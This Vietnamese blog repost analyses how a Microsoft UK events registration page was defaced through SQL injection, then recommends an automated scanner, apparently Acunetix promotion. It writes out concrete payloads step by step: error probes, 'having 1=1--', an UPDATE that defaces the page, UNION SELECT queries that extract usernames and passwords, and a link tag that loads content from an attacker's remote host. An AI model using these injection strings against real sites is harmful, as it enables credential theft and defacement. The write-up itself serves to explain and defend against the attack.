Jonathan Spiteri
Phân tích chi tiết về một website bị tấn công như thế nào là cách tránh các cuộc tấn công tương tự.
Trang đăng ký sự kiện đối tác của website sự kiện Microsoft tại Anh đã bị làm mất thể diện bởi một hacker, kẻ tấn công này đã khai thác được lỗ hổng trong ứng dụng của một trong những tham số được sử dụng bởi biểu mẫu trên website, đường dẫn trước đây của website bị truy cập là:
http://www.microsoft.co.uk/events/net/eventdetail.aspx?eventid=8399 [taken offline]
Kẻ tấn công có tên là "rEmOtEr", đã xâm nhập vào trang của Microsoft bằng cách lợi dụng lỗ hổng SQL Injection trong tham số được sử dụng bởi biểu mẫu nhúng trên URL của trang. Tham số riêng này không được lọc, do vậy nó đã cho phép hacker có thể đi qua được và xâm nhập vào cơ sở dữ liệu đang được sử dụng bởi biểu mẫu này.
Thêm vào đó, hacker đã khai thác các tên bảng và cột (trường dữ liệu) bên trong cơ sở dữ liệu được gọi và hiển thị trên trang – điều này có nghĩa là các văn bản hoặc thậm chí đoạn mã được chèn bên trong cột này sẽ được hiển thị trên trang.
Các hành động kẻ tấn công đã thực hiện để xem mật khẩu cơ sở dữ liệu
Dưới đây là bối cảnh xây dựng lại một cách vắn tắt để dẫn chứng một số bước được kẻ tấn công thực hiện để khai thác được lỗ hổng SQL Injection trong biểu mẫu đăng ký, bối cảnh này cho phép hacker có thể quan sát được usename và password trong hệ thống:
1. Các tham số của biểu mẫu được điền vào bằng các ký tự không bình thường (như “ ‘ ” và “--“) để xem sự tương tác của website. Các ký tự này thường được lọc ra bởi vì chúng được sử dụng trong SQL như các lệnh đặc biệt để thao tác với cơ sở dữ liệu. Các tham số đã kiểm tra gồm:
- Các đầu vào hữu hình (textbox, danh sách dropdown,…) trong biểu mẫu (phương thức POST)
- Các đầu vào vô hình từ mã nguồn HTML của trang (phương thức POST)
- Các tham số được sử dụng trong URL (phương thức GET)
2. URL của website trong trường hợp này sử dụng hai tham số eventID và v2:
http://www.microsoft.co.uk/events/net/PreRegister.aspx?eventID=p83968&v2=1
Chỉ cần thêm một dấu nháy trên (‘) vào URL, kết quả sẽ thu được như hình 1 dưới đây:
http://www.microsoft.co.uk/events/net/PreRegister.aspx?eventID=p83968&v2=1’
Hình 1
Lợi dụng lỗi này, có thể xác nhận được 2 điều:
- Server-Side error messages are ENABLED on the web server (Các thông báo lỗi trình chủ được CHO PHÉP trên web server) Các lỗi này thường được kích hoạt chỉ trong quá trình phát triển và kiểm tra lỗi. Khi website được đưa ra dùng thì thông báo lỗi trình chủ thường được vô hiệu hóa để không xuất hiện các thông tin nhậy cảm trên mạng.
- The parameter v2 is NOT being filtered for malicious characters/code – (Tham số v2 KHÔNG được lọc mã/ký tự nguy hiểm) Điều này nghĩa là bất cứ thứ gì mà tham số này có thì nó sẽ đều được chuyển vào SQL Server đang sử dụng mà không được lọc.Lỗi SQL dài này đã lộ rất nhiều thông tin nằm dưới cơ sở dữ liệu, các thông tin này có thể được hacker sử dụng để tấn công và thay đổi dữ liệu được lưu bên trong cơ sở dữ liệu này.
3. Hacker đã thu được nhiều thông tin có giá trị trực tiếp từ cơ sở dữ liệu bằng cách sử dụng các lệnh SQL Command để xâm nhập thông qua tham số này bằng cách thử và lỗi. Kẻ tấn công cũng được trợ giúp nhiều hơn với các thông báo lỗi được hiển thị trên trang.
SQL Command 1 having 1=1— đã được gửi nối với tham số v2 để chất vấn SQL chính được gửi đến cơ sở dữ liệu. Hành động này đã bổ sung thêm một điều kiện cho chất vấn SQL, luôn luôn đúng (1=1), và trong trường hợp này nó không rõ ràng với SQL Server bởi vì lệnh GROUP BY sinh ra lỗi dưới đây:
http://www.microsoft.co.uk/events/net/PreRegister.aspx?eventID=p83968&v2=1 having 1=1--
Kết quả là nhiều thông tin cơ sở dữ liệu đã bị lộ!
Tên bảng MultivenueLists và một số tên cột như recordID và venueStatus đã bị lộ, từ đó kẻ tấn công khai thác được sâu hơn về cấu trúc cơ sở dữ liệu.
Lưu ý:
Trong các cột Structured Query Language (SQL) được đề cập đến bằng kí hiệu TABLE(chấm)COLUMN (ví dụ MultivenueLists.recordID).
4. Khi hacker biết được tên bảng và cột, anh ta sẽ xâm nhập vào một số văn bản bên trong một cột, cụ thể bằng việc thêm vào câu lệnh như 1 update MultivenueLists set venueStartDate=’hacked by rEmOtEr’;-- vào đầu ra của tham số v2 trong URL:
…ster.aspx?eventID=p83968&v2=1 update MultivenueLists set venueStartDate=’hacked by rEmOtEr’;--
Hình 2: Trang thu được không có lỗi, nhưng văn bản đã chèn vào trong
cơ sở dữ liệu sẽ được hiển thị trên trang.
5. Sử dụng câu lệnh UNION SELECT, hacker có thể thu được danh sách tên người dùng và mật khẩu từ hệ thống bằng cách đoán tên của hai cột (người dùng và mật khẩu) và bảng (người dùng - users).
Đây là SQL Command được sử dụng cho tham số v2 để thu được username:
…ster.aspx?eventID=p83968&v2=-1 union select 1,2,3,4,username,6,7 from users--
Hình 3
Đây là SQL Command cho tham số v2 để thu được mật khẩu:
…ster.aspx?eventID=p83968&v2=-1 union select 1,2,3,4,password,6,7 from users—
Hình 4
6. Sử dụng sự kết hợp các truy vấn với userID, hacker có thể xác định được mật khẩu nào đi với tên người dùng nào.
Các hành động kẻ tấn công đã thực hiện để thay đổi nội dung của trang
Dưới đây là bối cảnh được xây dựng lại một cách vắn tắt để dẫn chứng một số bước được kẻ tấn công thực hiện để khai thác được lỗ hổng SQL Injection trong biểu mẫu đăng ký:
1. Khi hacker biết được đầy đủ các thông tin để đưa mã của mình vào cơ sở dữ liệu website, anh ta chuẩn bị một trang HTML đơn giản trên máy chủ từ xa của người thứ ba để tấn công.
2. Sử dụng các lệnh tương tự như được dùng để hiển thị văn bản trong trang, hacker chèn vào sau URL một website HTML đơn giản được giữ bởi một máy chủ từ xa của người thứ ba:
<link xhref=http://h.1asphost.com/remoter/css.css type=text/css rel=stylesheet>
3. Trang biểu mẫu trên site Microsoft cũng được tạo ra theo cách tương tự như vậy, nó tải lên các văn bản từ cơ sở dữ liệu khi người dùng duyệt trên trang (điển hình của hệ thống CMS). Khi văn bản này được thay thế bởi liên kết xhref ở trên thì nó sẽ hiển thị toàn bộ nội dung của trang từ máy chủ mở rộng.
4. Đây là những gì trang web thể hiện khi bị tấn công:
Hình 5
Nguyên nhân của sự tấn công
Có một sự phối hợp trong hai thành phần gây ra tấn công này – ngoại trừ động cơ từ kẻ tấn công quyết tâm muốn ghé thăm một chút vào trang biểu mẫu trên website của Microsoft – đó là:
1. SQL Injection – Một trong những tham số trong URL được gửi trực tiếp đến cơ sở dữ liệu mà không cần lọc trước đó. Điều này là một kênh cho kẻ tấn công tương tác trực tiếp với cơ sở dữ liệu.
2. Các thông báo lỗi – Từ các thông báo lỗi trên website, kẻ tấn công có thể tìm ra được cấu trúc của cơ sở dữ liệu. Điều này giúp hacker trong việc chọn các lệnh SQL để chèn mã của mình vào cơ sở dữ liệu từ đó thay đổi nội dung của trang.
Làm thế nào để ngăn chặn?
Cách tốt nhất để ngăn chặn tấn công này là thường xuyên kiểm tra các lỗ hổng của website. Bằng cách đó, các lỗ hổng SQL injection này có thể được phát hiện và vá trước khi website bị tấn công.
Làm thế nào để website của bạn được an toàn
Phần lớn website phức tạp thường khó khăn trong việc kiểm tra các lỗ hổng cho mỗi trang. Trang bị tấn công trên site của Microsoft chỉ là một phần nhỏ nằm trong một website lớn có thể bị bỏ sót- lỗi thông thường nếu bạn thực hiện công việc thẩm định bảo mật thủ công.
Sự phức tạp này có thể được khắc phục bằng sử dụng một bộ quét ứng dụng website một cách tự động như Acunetix Web Vulnerability Scanner. Với công cụ như vậy bạn hoàn toàn có thể sử dụng nó để quét mỗi tham số trên trang và trên các biểu mẫu trên website của bạn, với hành trăm lỗ hổng một cách tự động. Cách này sẽ làm giảm tính phức tạp và thời gian cần thiết để thực hiện công việc thẩm định bảo mật trên mỗi website.
Sử dụng một bộ quét ứng dụng website tự động cũng có nghĩa là bất cứ ai thực hiện thẩm định đều không yêu cầu nhiều đến hiểu biết về kỹ thuật lỗ hổng web, thay vì đó mà người dùng chỉ cần chạy ứng dụng để quét website và thu được báo cáo lỗi.
Văn Linh (Theo Windows Security)
No comments:
Post a Comment